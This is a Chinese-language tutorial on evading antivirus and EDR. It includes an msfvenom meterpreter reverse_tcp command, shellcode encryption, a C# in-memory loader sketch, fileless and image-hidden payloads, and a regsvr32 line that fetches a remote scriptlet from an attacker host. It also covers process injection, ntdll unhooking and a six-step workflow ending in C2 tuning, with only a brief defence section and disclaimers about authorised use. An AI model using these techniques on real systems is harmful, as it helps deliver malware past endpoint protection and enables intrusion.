写在前面:合法学习边界
免杀技术仅用于授权测试与安全研究。对真实系统投放免杀样本可能触犯法律。本文只讲思路与原理。
一、原理:免杀的三个层面
1
2
3
| 静态层:文件特征(特征码/字符串/哈希)
加载层:如何把 shellcode 放进内存执行
行为层:运行时的敏感调用与回连(EDR 重点)
|
深化免杀 = 三层都过,尤其要过行为层(EDR)。
二、静态免杀深化
1. shellcode 加密(AES/XOR/自定义)
1
2
3
4
| # 生成原始 shellcode
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=x LPORT=x -f raw -o payload.bin
# 用脚本对 payload.bin 做 AES 加密,运行时解密
# 解释:加密后文件没有 shellcode 明文特征,静态不命中
|
2. 特征码定位与混淆
1
2
3
| 用工具(如 x64dbg/特征定位)找到被杀的字节段
替换变量名、字符串、加花指令
避免硬编码 C2 地址明文
|
三、加载器免杀深化
1. 自定义加载器(C#/Go/Rust)
1
2
3
4
| 步骤:VirtualAlloc 申请内存 → 解密 shellcode →
拷贝进内存 → CreateThread/回调执行
解释:自己写加载器,避免已知工具特征;语言选
Go/Rust 体积与特征通常更好
|
1
2
3
4
5
| // C# 示意(仅原理)
byte[] buf = Decrypt(File.ReadAllBytes("payload"));
IntPtr mem = VirtualAlloc(...);
Marshal.Copy(buf, 0, mem, buf.Length);
CreateThread(IntPtr.Zero, 0, mem, ...);
|
2. 分离式(不落地)
1
2
3
| shellcode 从远端/图片/文件流拉取,内存执行
或放进资源、隐写进图片(图片马)
避免磁盘上出现恶意文件
|
四、LOLBins 白名单加载
1
2
3
4
| 利用系统自带工具加载/执行:
regsvr32、rundll32、mshta、cscript、certutil、msiexec
例:regsvr32 /s /n /u /i:http://攻击机/x.sct scrobj.dll
解释:走白名单程序,绕过“禁止未知进程”策略
|
五、行为免杀(EDR 对抗)
1. 降低敏感 API 特征
1
2
| 动态解析 API(GetProcAddress + 偏移),避免导入表特征
分步、异步、延迟执行,绕“内存扫描+行为分析”
|
2. 进程注入
1
2
3
| 注入白进程(explorer/svchost)内存中运行
远程线程注入 / APC 注入 / 回调注入
解释:文件不落地、进程是白名单,EDR 难定位
|
3. Unhook / 清理钩子
1
2
| 从磁盘重新映射 nt dll,恢复被 EDR 挂钩的函数
降低行为层检测命中
|
六、实战操作步骤
1
2
3
4
5
6
| 第 1 步:生成并加密 shellcode
第 2 步:写自定义加载器(内存执行)
第 3 步:本地 VT/杀软静态验证,迭代混淆
第 4 步:动态验证(跑起来看 EDR 是否报行为)
第 5 步:结合白名单/进程注入降低行为特征
第 6 步:上线后改 C2 特征、降频
|
七、检测与防御(对立面)
1
2
3
4
| EDR:行为检测(注入/敏感 API/回连)+ 内存扫描
应用白名单:禁止未签名程序运行
Unhook 检测:检测敏感 dll 被重新映射
威胁狩猎:异常进程链与内存特征
|
影响与适用
免杀能力决定样本能否落地执行,滥用风险高。仅用于授权测试与安全研究,禁止对真实系统投放免杀样本。
八、小结
免杀深化 = “静态混淆 → 加载器分离 → 白名单加载 → 进程注入 → 行为对抗”五层递进。核心是过 EDR 的行为层,而不只是过静态杀软。它是与防御的持续对抗,无“一劳永逸”。再次强调:仅授权内研究使用。